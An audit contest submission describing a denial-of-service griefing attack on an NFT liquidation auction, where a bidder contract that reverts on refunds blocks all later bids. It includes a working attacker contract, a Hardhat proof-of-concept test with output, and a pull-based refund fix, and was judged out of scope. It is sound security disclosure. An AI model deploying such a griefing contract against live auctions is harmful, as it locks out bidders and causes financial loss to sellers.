Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Invalid

Auction Griefing Attack (Denial-of-Service Attack) on placeBid function from NFTLiquidator.sol

Summary

The NFT auction system in NFTLiquidator allows bidders to place bids, with the previous highest bidder receiving a refund when outbid. However, an attacker can exploit this refund mechanism by using a malicious contract (MaliciousBidder) that intentionally rejects ETH refunds in its receive() function.

  • When the attacker places a bid using MaliciousBidder, they become the highest bidder.

  • When a legitimate bidder tries to outbid them, the contract attempts to refund the attacker.

  • However, since the attacker’s contract always rejects refunds, the transaction fails and blocks further bidding.

  • This creates a denial-of-service (DoS) attack, locking the auction in favor of the attacker.

Vulnerability Details

/**
* @dev Allows users to place bids on liquidated NFTs
* @param tokenId The ID of the NFT being auctioned
*/
function placeBid(uint256 tokenId) external payable {
TokenData storage data = tokenData[tokenId];
if (block.timestamp >= data.auctionEndTime) revert AuctionHasEnded();
uint256 minBidAmount = data.highestBid + (data.highestBid * minBidIncreasePercentage / 100);
if (msg.value <= minBidAmount) revert BidTooLow(minBidAmount);
if (data.highestBidder != address(0)) {
payable(data.highestBidder).transfer(data.highestBid);
}
data.highestBid = msg.value;
data.highestBidder = msg.sender;
emit BidPlaced(tokenId, msg.sender, msg.value);
}
  • The previous highest bidder is refunded immediately using transfer().

  • If the previous highest bidder is a malicious contract (e.g., MaliciousBidder), it can reject the refund by reverting in its receive() function.

  • Since the refund fails, the entire transaction reverts, and the new bid is blocked.

  • This means no one else can place a bid, effectively locking the auction in favor of the attacker.

PoC

maliciousBidder.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
interface INFTLiquidator {
function placeBid(uint256 tokenId) external payable;
}
contract MaliciousBidder {
INFTLiquidator public liquidator;
uint256 public tokenId;
constructor() {}
function attackBid(address _liquidator, uint256 _tokenId) external payable {
liquidator = INFTLiquidator(_liquidator);
tokenId = _tokenId;
liquidator.placeBid{value: msg.value}(_tokenId);
}
// Rejects ETH refunds!
receive() external payable {
revert("Malicious contract: Rejecting refund!");
}
}

The Test:

import hre from "hardhat";
import { expect } from "chai";
const { ethers } = hre;
describe("NFTLiquidator - Auction Griefing Attack", function () {
let owner, user1, user2, attacker;
let liquidator, nft, crvUSD, attackerContract;
let tokenId = 1;
let debt, minBid;
before(async function () {
[owner, user1, user2, attacker] = await ethers.getSigners();
// ✅ Deploy Mock ERC20 (crvUSD)
const ERC20Mock = await ethers.getContractFactory("ERC20Mock");
crvUSD = await ERC20Mock.connect(owner).deploy("Mock crvUSD", "crvUSD");
await crvUSD.waitForDeployment();
// ✅ Deploy Mock ERC721 (NFT)
const ERC721Mock = await ethers.getContractFactory("ERC721Mock");
nft = await ERC721Mock.connect(owner).deploy("Mock NFT", "MNFT");
await nft.waitForDeployment();
// ✅ Deploy NFTLiquidator
const NFTLiquidator = await ethers.getContractFactory("NFTLiquidator");
liquidator = await NFTLiquidator.connect(owner).deploy(
await crvUSD.getAddress(),
await nft.getAddress(),
owner.address, // Stability Pool
5 // minBidIncreasePercentage = 5%
);
await liquidator.waitForDeployment();
// ✅ Set the Stability Pool
await liquidator.connect(owner).setStabilityPool(owner.address);
expect(await liquidator.stabilityPool()).to.equal(owner.address);
// ✅ Mint NFT to user1
await nft.connect(owner).mint(user1.address, tokenId);
expect(await nft.ownerOf(tokenId)).to.equal(user1.address);
// ✅ User1 approves NFT transfers to liquidator
await nft.connect(user1).setApprovalForAll(await liquidator.getAddress(), true);
// ✅ Define liquidation debt
debt = ethers.parseEther("10");
// ✅ Transfer NFT to Stability Pool before liquidation
await nft.connect(user1).transferFrom(user1.address, owner.address, tokenId);
await nft.connect(owner).approve(await liquidator.getAddress(), tokenId);
// ✅ Call `liquidateNFT`
await liquidator.connect(owner).liquidateNFT(tokenId, debt);
console.log("✅ NFT Liquidated: Token ID", tokenId, "Debt:", debt.toString());
});
it("Should demonstrate an auction griefing attack", async function () {
minBid = ethers.parseEther("11"); // 10 + 10 * 5% = 11
// ✅ User1 places an initial bid
await liquidator.connect(user1).placeBid(tokenId, { value: minBid });
// ✅ Deploy MaliciousBidder contract (attacker contract)
const MaliciousContract = await ethers.getContractFactory("MaliciousBidder");
attackerContract = await MaliciousContract.connect(attacker).deploy();
await attackerContract.waitForDeployment();
console.log("Malicious contract deployed at:", await attackerContract.getAddress());
// ✅ Attacker places a bid using malicious contract
await expect(
attackerContract.connect(attacker).attackBid(await liquidator.getAddress(), tokenId, {
value: ethers.parseEther("13"),
})
).to.not.be.reverted;
console.log("Attacker placed a bid that cannot be refunded");
// ✅ Now, user2 tries to place a valid bid, but it **fails** because the refund to attacker fails
await expect(
liquidator.connect(user2).placeBid(tokenId, { value: ethers.parseEther("14") })
).to.be.revertedWith("Malicious contract: Rejecting refund!");
console.log("Legitimate bidder blocked due to attack!");
});
});

The Output:

NFTLiquidator - Auction Griefing Attack
NFT Liquidated: Token ID 1 Debt: 10000000000000000000
Malicious contract deployed at: 0x057ef64E23666F000b34aE31332854aCBd1c8544
Attacker placed a bid that cannot be refunded
Legitimate bidder blocked due to attack!
√Should demonstrate an auction griefing attack (81ms)

Impact

  • Auction Disruption: No one can place a new bid once an attacker locks the auction.

  • Unfair Advantage: The attacker can win the auction without competition at a low price.

  • Financial Loss: The NFT might be sold for much less than its true market value, harming sellers and liquidators.

  • Loss of Trust: Users may stop participating in auctions if they realize they can be griefed in this way.

Recommendations

To prevent this attack, modify the refund logic:

Use a Pull-Based Refund Mechanism:

  • Instead of sending ETH refunds automatically, store refunds and let users withdraw them manually via a withdrawRefunds() function.

  • This ensures that failed refunds don’t block the auction process.

mapping(address => uint256) public pendingRefunds;
function placeBid(uint256 tokenId) external payable {
require(msg.value > highestBid, "Bid too low");
// Store refund instead of sending immediately
pendingRefunds[highestBidder] += highestBid;
highestBid = msg.value;
highestBidder = msg.sender;
}
function withdrawRefunds() external {
uint256 refund = pendingRefunds[msg.sender];
require(refund > 0, "No refund available");
pendingRefunds[msg.sender] = 0;
payable(msg.sender).transfer(refund);
}

Set a Time Limit for Withdrawal:

  • If the previous highest bidder doesn’t withdraw their refund within a certain time, allow a fallback mechanism to move forward.

Blacklist Malicious Bidders:

  • If a user consistently blocks refunds, restrict them from participating in future auctions.

Updates

Lead Judging Commences

inallhonesty Lead Judge 4 months ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.